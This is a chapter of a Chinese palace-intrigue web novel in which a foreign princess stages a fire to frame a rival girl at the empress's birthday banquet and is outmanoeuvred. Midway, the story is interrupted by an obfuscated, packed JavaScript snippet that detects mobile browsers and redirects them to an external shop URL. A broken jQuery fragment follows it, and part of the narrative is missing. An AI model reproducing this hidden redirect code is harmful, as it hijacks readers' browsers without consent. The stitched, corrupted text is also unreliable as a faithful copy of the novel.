好容易挨到宫门口，下轿上了晋王府的马车，郭娑简直气得脸都要歪了。
“郡主，她太过分了！郡主给大朔皇帝送了救命药，这一点小事她如此计较！”宝冉简直比郭娑还要愤愤：“郡主，我们回去告诉晋王妃吧！”
“姑姑那样子，看起来是能为我撑腰的吗？”郭娑听她提起晋王妃，不屑地冷哼一声。
“明日宫宴，郡主去皇后面前告她一状。郡主聪慧，一定知道怎么不着痕迹地让皇后娘娘知道。”
郭娑不可置信地抬起眼打量着宝冉的脸，眼神中简直有几分讥讽：“你难道看不出来，她这作派是步皇后一手教出来的吗？”
傲慢刻薄，居高临下。老的小的如出一辙。
郭娑真是一肚子火气无处撒。
宝冉冥思苦想，忽地灵光一闪：“我们告诉永宁王！郡主，咱们都看出来了，华容郡主最紧张永宁王，一定时时刻刻想着给他留好印象…”
她这话说的有点心虚。华容郡主如此，她家主子又何尝不是呢？若没那永宁王，也不至于惹出这场是非来。
郭娑倒没有再反驳她。只是静静地坐着思考了一会儿，脸上挂起一个讳莫如深的笑容。
萧弘德大病初愈，本该安心调养，却偏要在今年张罗着给皇后办寿宴，把在京的儿子们全叫进宫来给他们母后贺寿，他自己也要参加。
“这年纪办什么寿宴呢？”独自坐在玉栖宫妆台前时，步皇后苦笑着抱怨：“三十八岁。太难听了！”
她这些年保养的好，还是个美妇人模样，怎么看也不像该做寿的年纪。
“翠雀，”她簌地黯然下来，盯着镜中的自己低声叹息：“这是我在大朔过的第二十六个生辰了。”
她永远记得她来大朔过的第一个生辰。
大朔与草原的交界线上，再往前一步，就看不到漫无边际的，绿油油的草场了。星夜下，篝火旁，那对比她年长些的，让她莫名觉得可以信任，可以倚仗的男女，现在想来，也不过是像萧征那么大的年纪。
“阿曼，你许个愿望吧！”那男孩子雀跃地提议。
“我希望…”她自己的声音穿过二十六年的时光，仿佛依然响在耳边。
少女双手捧着一碗热气腾腾的马奶酒，仰头望着高远的天空：“我希望长生天做我的见证，见证我亲手杀光自己的仇人。”少女的话音微弱而坚定：“所有害我阿爸身死，害我沦落至此的人……一个我都不会放过。”
“好！”那男孩子激动地站起身来，对着星夜由衷地为她叫好：“臣苏予夺，愿助阿曼公主实现愿望！”
“阿曼，”那女孩子就稳重多了，转过脸来轻轻拍拍她的肩，很认真地望进她眼里：“若有什么用得上的，也一定要和姐姐说。”
一望无际的草场已在背后，挡在她和完全陌生的异国面前的，只余这对勇敢又善良的男女。
她望着他们两人，在心中默念。
伟大的长生天啊，请你庇佑阿曼，再许我多一个愿望。
让予夺哥哥和望舒姐姐，可以顺顺当当，长长久久。
“娘娘，嘉裕侯给娘娘的生辰纲才送到了，这是礼单。”门口有下人来报。
翠雀去门口接了礼单，呈给她过目。
“又正赶上前一天？这个嘉裕侯，倒是从不出岔子。”她接过粗略地扫了一眼，微笑着抬眼，望向窗外皎洁的月。
长生天啊，您是听见我的愿望了吧。
遵大朔皇帝旨意，在京的皇子们纷纷携家眷入宫，为皇后庆寿。
萧弘德的儿女中，倒有十几个比她的年龄大，真吓死人。那些皇子家眷们，不像儿媳，倒像长姐，步皇后不愿意她们陪着，两边尴尬。她们当然也不过是来走个过场，没有刻意过来巴结，想与她深交的。都知道她的为人，巴结也是白巴结，倒闹得自己没脸，先前的晋王妃就是活生生的例子。
被妯娌们背地里取笑的可以，与皇后交好却不是一件能浅尝辄止的事。晋王妃的肚子又大了些，简直让人怀疑她的裙下扣着一口铁锅。由两个侍女扶着好不容易到了玉栖宫，给步皇后请了安再到太师椅上坐定，已是出了一身大汗，把衣衫都浸透了。
秋冬交替之时，下一场秋雨，房中就照一般晴好的天气要阴冷许多。上午才下过一场雨，宫人们在院子里紧忙着打扫吹落的枯叶，正殿中也添了个小火盆，盆中毕毕剥剥烧着柏树枝条。
步皇后见晋王妃满头满脸的热汗，在这热烘烘的房中待不住，赶忙让她去偏殿换一身干爽衣裳，然后陪着她到院里走走。
晋王妃求之不得，忙起身离席。
郭娑被剩在房中，欲言欲止许多次，未等她鼓足勇气与皇后寒暄，苏萦欢快地跑了进来，向步皇后递上一个锦盒：“母后生辰吉乐！”
步皇后接过，看也不看，就随手撂在榻上矮几上，随即起身：“本宫去看看晋王妃如何了？她这一胎怀的辛苦，难为她跑一趟。”她的目光波澜不惊地扫过苏萦和郭娑：“未晚，这不是你的小姐妹吗？你们就留在这里说一会儿话吧。”言罢，带着翠雀扬长而去。
步皇后早瞧见，宝冉手上抱的就是那天自己替苏萦借出的那匹料子。东西既在这里，能不能痛痛快快地还来又另当别论。走到偏殿门前一回头，见萧征急匆匆地往主殿去了，想必是去给她贺寿的。虽叫他扑了个空，却有两位姑娘正等着他呢。
今晚的节目不算太差嘛。步皇后玩味一笑。
至少有这一出好戏可以看。
未晚，可别给母后演砸咯。
萧征一脚才踏进主殿，待看清了房里的两位姑娘，抽回那只迈的太快的脚已经来不及了。
“未晚，郭娑郡主。你们怎么在这儿？母后呢？”萧征硬着头皮走进房中。
“晋王妃好像不太舒服，母后陪她去了。”苏萦坐得与郭娑隔着老远，两人气氛微妙。
这微妙的气氛他上辈子太熟悉了。浑身的每个毛孔都在叫嚣着：“快逃！”
“既如此，我与众兄弟一起先去看望父皇。”萧征随便找个由头就要先走，临转身瞥见房间正中放着的火盆，疑惑道：“一会儿陛下就要来了，这火盆怎么还放着？”朝门口的内侍示意：“进来把火灭了，端到后面去。”
房中放火盆，是萧弘德的大忌。二十五年前，先皇后和先太子被活活烧死在赤霞宫内，从此宫中不准见明火，取暖只能用地龙和汤婆子。灯罩全是密实防风的，灯座一周皆嵌上一圈水槽。
更何况，玉栖宫正是在烧毁的赤霞宫遗迹上重新修建的皇后寝宫。平日陛下降临之前，宫中都如临大敌地仔细自查一番，不知今日为何出了这样大的纰漏。
萧征亲眼看着一个小内侍走进房中灭火，才走出房门，苏萦也急着跟了出去：“有还哥哥，我有事要跟你说！”
郭娑和宝冉交换了一个眼神。
“这位小公公，”宝冉上前和颜悦色地开口：“可否把这火盆多放一会儿？我家主子才来的路上不慎踏着水坑，湿了鞋袜，借这火盆烘干，一会儿好去赴宴。陛下降临前，一定叫你进来收走。”
小内侍是新来的，宫里的事样样懵懂，今日人手不够，才抽调他上来待会儿照应着没人的空屋子。师傅随侍皇后娘娘，不在身边，皇后娘娘的座上宾他是万不敢拒绝的，只好点点头停了手，驯顺地退了下去。
四下里无人，宝冉一把把那长条盒子丢进火盆中。盆中的火星跳到锦盒上，火苗贪婪地吞噬盒上的衬布。屏息等着门口脚步声传来，主仆俩才同时动作起来。宝冉用脚尖挑开长地毯的边角，装作绊倒，一个趔趄朝火盆摔去。
“宝冉！你这蠢丫头！”郭娑尖叫起来，冲到桌前抓过茶壶企图用茶水扑灭火盆上熊熊燃烧的火焰。
苏萦走进房间，看到的就是这一幕。“被绊倒脱手”的宝冉，急忙爬起来到火盆前抢救盒子，徒手把盒子从火里捞了出来，抓了一手滚烫的灰，烫得轻声尖叫了一声。盒子被丢在地上，一角燎的焦黑，冒着白烟。
“华容妹妹，真是抱歉，都怪我——”郭娑没来得及去看宝冉的伤势，先满脸懊恼愧疚地向苏萦迎过来。
她们演这一出闹剧，苏萦一丁点儿也没相信。
“郭娑！”苏萦气得双目圆睁，怒不可遏地大喊道：“你敢烧我的东西！”
“陛下到！”门前的一声宣，十万火急地叫停了两人的交锋。要命的火盆还明晃晃地摆在房间正中央，陛下轿辇前的金提炉已到院门口。
“马上端下去！”苏萦朝门口吓傻了的小内侍低声喝道：“要是让陛下看见，你性命都难保了！”
蜜合扯了那小内侍一把，他这才醒过神来，冲进房中，急中生勇，把火盆往自己怀里一裹，猫着腰飞跑出去。
房中几人震恐地目送着他远去的背影，心中都为他捏一把汗。
趁步皇后到门前迎接陛下，众人忙着开窗驱散烟气，燎焦的盒子也被蜜合抱了出去，防止在房中散发焦煳味
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16799166|190662||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
陛下留坐了不多一会儿，没发现什么异样。
风波过去，众人往福熙殿去，纷纷入席。
苏萦气得眼眶泛红，恨得咬牙切齿，极力忍耐不然眼泪掉下来。
步皇后坐在上首睨着两个坐得远远的人，见苏萦坐在那里失魂落魄，泫然欲泣，郭娑倒镇定自若，容色如常，不禁皱一皱眉头。
宝冉的手烫得厉害，郭娑朝她起了一层水泡的手上瞥了一眼，微微摇头示意她今晚不必服侍用膳了。
萧弘德坐了没多一会儿，就推说政事忙，先行离席了。陛下一走，晚上还需出宫回府的王爷们也无心久留。萧征怕父亲又是为身体不适做掩饰，忙起身跟了上去。
“十七殿下！”身后忽然传来郭娑急切的轻唤。
“郡主。”萧征诧异地转过头来。
“请恕娑儿冒昧。”郭娑语气十分恳切：“能否让十七殿下稍待一会儿，娑儿有几句话想对十七殿下说。”
萧征莫名地紧张，偷眼瞥向苏萦的方向：“郡主请说。”
“娑儿…向殿下道歉。”郭娑突然深躬一礼，仿佛犯了什么天大的过错：“是娑儿任性，夺人所好，借走了殿下送给华容郡主的衣料。”
“…郡主这说的哪里话。”萧征心道不好，之前的预感果然应验，两人这一世本和和睦睦的姐妹情谊就因这一匹可有可无的衣料闹得节外生枝。
“殿下，娑儿知道，北漠如今贫弱，华容郡主难免轻视我们，可……可娑儿只是晚了几日归还，华容郡主就把衣料扔进火里，让娑儿的侍女去火中捡出来——”郭娑猛地抬起头来，满面屈辱：“请殿下看在我们主仆远离故土，客居在此，无依无靠的份上，为我们主持公道吧！”
萧征听得心中震动，一瞥宝冉的手，居然真的灼伤一片。
前世他与苏萦共度半生，再恶毒的事她也做过不少，不能因为他满心报恩，就忘了她嚣张跋扈的本性。
一念至此，心中便对郭娑信了六七成。
“郡主，这件事，我会找华容问清楚。”他严肃又诚恳地望向郭娑：“若她真这般恶劣，我一定让母后惩戒她，定会给郡主一个公允的答复。”
萧征掩住心中的怀疑与恼怒，转身朝苏萦的席位走过去。这丫头平日一定拉着姐妹同坐，如在学堂一般叽叽喳喳地说小话，今天只自己孤零零地坐在角落，桌上的饭菜也几乎没怎么动过。
“未晚。”他走到她面前轻唤。
苏萦抬起头来。就在看到他的一瞬间，一双满含委屈的杏眼如蚌壳开闭，两颗珍珠般又大又圆的泪珠霎时滚落，只抬起一只胳膊来朝郭娑方向一指，鼻音浓重地哼出一个“她——”便哽咽得再也说不出话。
见她气得桃腮鼓鼓，哭得梨花带雨，红润润的樱桃唇瓣抿成一条缝，从前哪有这样的时候？他看惯了她大吵大闹的，今日这般受气包模样，倒像是受了天大的委屈。他的心瞬间化了一滩水，什么质问，批评，说教，全丢到爪哇国去。
还是个小孩子呢，知道什么呀？就算真是她的错，哪有小孩子不犯错的？
“好了，好了未晚。”他慌忙在她面前低下身子：“这是母后的寿宴，还有好多人看着呢，不哭了，不哭了好不好？”
“那是，那是你送我的…”苏萦低下头去，连串的泪珠顺着下巴滴落，肩膀随着抽噎一耸一耸地起伏。
“哥哥再给你买。”他匆忙从怀里掏出手绢递给她：“你说买多少匹都行，等陛下病好了，哥哥带你去南濮，让你自己亲自选，好不好？”
本等着看热闹的郭娑主仆二人看呆了，简直僵成两座石像。
步皇后坐在上首，此时也看得啼笑皆非。
这丫头，用的是这招？
可是将来经年累月，总有色衰而爱驰之时，这毕竟不是长久之计啊。
她不着痕迹地苦笑着摇了摇头。
趁萧征急着安抚她，身体离她最近之时，苏萦用只有他们两个人能听见的声音，快速地说道：“有还哥哥，若郭娑刚在你面前诋毁我，我只解释一句。”
萧征错愕地与她对视。
“我不会不知道一会儿陛下要来。”
电光火石之间，一切明朗。
苏萦在宫中长大，自然清楚父皇对明火的恐惧与禁忌，怎会在这样的时辰地点，冒着激怒父皇，殃及母后的风险，只为去欺负一个外乡人？
萧征起身，向着郭娑主仆的席位，深深地望了一眼。